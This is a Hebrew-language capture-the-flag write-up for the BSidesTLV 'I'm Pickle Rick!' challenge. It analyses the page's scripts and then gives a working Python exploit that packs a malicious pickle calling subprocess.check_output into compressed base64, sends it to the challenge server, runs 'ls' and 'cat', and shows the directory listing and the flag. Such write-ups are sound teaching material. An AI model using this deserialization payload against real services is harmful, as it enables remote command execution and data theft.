I'm Pickle Rick!
נכתב על ידי Narcissus
הקישור מביא אותנו לאתר הזה:
בקוד מקור של הדף אנחנו מוצאים כמה סקריפטים מעניינים:
<script>
var members;
function pickleRick() {
$('.pickleimg').fadeIn(1000);
anatomyParkMembers("morty");
}
function anatomyParkMembers(visitor) {
var url = "/getMembers.html";
if (visitor) {
url += "?visitor=" + visitor
}
$.get(url, function (data) {
$(".result").html(data);
localStorage.setItem("anatomyParkMembers", data);
});
}
function statusAnatomyParkMembers() {
if (localStorage.getItem("anatomyParkMembers") === null) {
return false;
}
// DEFLATE
$.getJSON("/statusMembers.html?data=" + localStorage.getItem("anatomyParkMembers"), {
format: "json"
}).done(function (data) {
members = data;
});
}
</script>
<script>
$(document).ready(function () {
if (localStorage.getItem("anatomyParkMembers") === null) {
anatomyParkMembers();
}
setInterval(function () {
statusAnatomyParkMembers();
}, 10000);
});
</script>
הרקע של האתר זה סרטון:
<video id="myVideo" autoplay muted style="width: 100%" onended="pickleRick();">
<source src="/static/Untitled.mp4" type="video/mp4">
Your browser does not support the video tag.
</video>
החלק החשוב פה זה התכונה onended
.
מה שקורה באופן כללי באתר זה: העמוד נטען ומנגן את הסרטון ברקע. כשהסרטון מסתיים מתבצעת קריאה ל-pickleRick();
. הפונקציה הזאת קוראת ל-anatomyParkMembers("morty");
, שהוא בתורו שומר את התשובה מ-/getMembers.html?visitor=morty
אל משהו שמקרא localStorage
. לאחר מכן, כל 10 שניות מתבצעת קריאה לפונקציה statusAnatomyParkMembers();
אלא אם כן ה-localStorage
אופס.
נסתכל בעמודים /getMembers.html
ו-/statusMembers.html
שניגשים אליהם מהפונקציות anatomyParkMembers()
ו-statusAnatomyParkMembers
בהתאמה.
ניקח את התוצאה מ-/getMembers.html?visitor=morty
: eNrTSCkw5ApWL8sszizJLypW5yow4tLIKTDmCsvNLyqp5Cow4UosDlZPzS3Iya9MTQUpMAUpMANqCipNSs0DCphzJQarO%2BblZaYCORYgTkB%2BXnJGPpBnCeIF5aenFgE5hgZghTk5YF2GhkCT9QDJ4iXE
ונשלח אל /statusMembers.html?data=
ונקבל: {"visitors": ["morty"], "employees": ["Ruben", "Annie", "Poncho", "Roger", "Allen"]}
.
נראה ש-/getMembers.html
מוסיף את תוכן המשתנה visitor
למערך json, מבצע לזה דחיסה כלשהי, ומחזיר את התוצאה. /statusMembers.html?data=
לוקח את המידע הדחוס ופורס אותו ומחזיר את התוצאה.
רואים בהדרים של הפקטות שהדחיסה מתבצעת בעמצאות gzip, deflate
. רצינו לראות מה יקרה אם נדחוס פקודה ונשלח ל-/statusMembers.html?data=
. קצת קוד שניסינו:
import zlib
import requests
import base64
def create_command(cmd, args, flags):
template = """csubprocess
check_output
(((S'{0}'
S'{1}'
S'{2}'
ltR."""
return base64.b64encode(zlib.compress(template.format(cmd, args, flags), 9))
url_template = 'http://two.challenges.bsidestlv.com:8088/statusMembers.html?data={0}&format=json'
r = requests.get(url_template.format(create_command('ls', '../', '-l')))
print '\n'.join(r.text[1:-1].split('\\n'))
יש! קיבלנו בתשובה:
total 72
drwxr-xr-x 1 root root 4096 Jun 10 08:22 app
drwxr-xr-x 1 root root 4096 Jun 6 03:35 bin
drwxr-xr-x 2 root root 4096 Feb 23 23:23 boot
drwxr-xr-x 5 root root 340 Jun 12 05:40 dev
drwxr-xr-x 1 root root 4096 Jun 10 08:22 etc-rw-r--r-- 1 root root 34 Jun 10 08:21 flag.txt
drwxr-xr-x 1 root root 4096 Jun 10 08:22 home
drwxr-xr-x 1 root root 4096 Jun 6 03:35 lib
drwxr-xr-x 2 root root 4096 Apr 26 00:00 lib64
drwxr-xr-x 2 root root 4096 Apr 26 00:00 media
drwxr-xr-x 2 root root 4096 Apr 26 00:00 mnt
drwxr-xr-x 2 root root 4096 Apr 26 00:00 opt
dr-xr-xr-x 265 root root 0 Jun 12 05:40 proc
drwx------ 1 root root 4096 Jun 10 08:22 root
drwxr-xr-x 4 root root 4096 Apr 26 00:00 run
drwxr-xr-x 2 root root 4096 Apr 26 00:00 sbin
drwxr-xr-x 2 root root 4096 Apr 26 00:00 srv
dr-xr-xr-x 13 root root 0 Jun 10 12:55 sys
drwxrwxrwt 1 root root 4096 Jun 12 19:04 tmp
drwxr-xr-x 1 root root 4096 Apr 26 00:00 usr
drwxr-xr-x 1 root root 4096 Apr 26 00:00 var
עכשיו לקרוא את flag.txt
:
r = requests.get(url_template.format(create_command('cat', '../flag.txt', '-u')))
print r.text[1:-3]
והתשובה:
BSidesTLV{IC0ntr0ll3dP1ckl3R1ck!}